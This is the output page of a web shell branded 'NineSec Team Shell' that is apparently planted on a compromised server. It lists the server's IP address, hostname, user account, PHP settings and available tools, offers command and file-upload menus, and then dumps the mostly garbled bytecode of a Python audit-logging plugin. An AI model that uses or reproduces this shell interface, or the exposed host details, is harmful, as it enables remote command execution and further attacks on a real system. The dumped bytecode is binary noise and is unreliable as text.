NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/auditd.cpython-36.opt-1.pyc
3

~�gT�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s$eZdZdZdZd	Zd
Zdd�ZdS)�AuditdzAudit daemon informationZauditd�system�security�auditcCs|jddddddg�|jd�|jdd	d
�|jddd
�d}d
}y`t|ddd��H}x@|j�j�D]0}|snqd|jd�}|dj�dkrd|dj�}qdWWdQRXWn8tk
r�}z|jd|�d|���WYdd}~XnX|j	d�s�|j|�n|j|d�dS)Nz/etc/audit/auditd.confz/etc/audit/audit.rulesz/etc/audit/audit-stop.rulesz/etc/audit/rules.d/z/etc/audit/plugins.d/z/etc/audisp/z;ausearch -i --input-logs -m avc,user_avc,fanotify -ts todayzauditctl -lZauditctl_rules)Ztagszauditctl -sZauditctl_statusz/var/log/audit/audit.log�rzUTF-8)�encoding�=r�log_file�zCould not open conf file z: Zall_logs�*)
Z
add_copy_specZadd_cmd_output�open�read�
splitlines�split�strip�IOErrorZ
_log_errorZ
get_option)�selfZconfig_filer�cfile�lineZwords�error�r�/usr/lib/python3.6/auditd.py�setups4
(
zAuditd.setupN)rr)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrrrrrrs
rN)Zsos.report.pluginsrrrrrrr�<module>	s

NineSec Team - 2022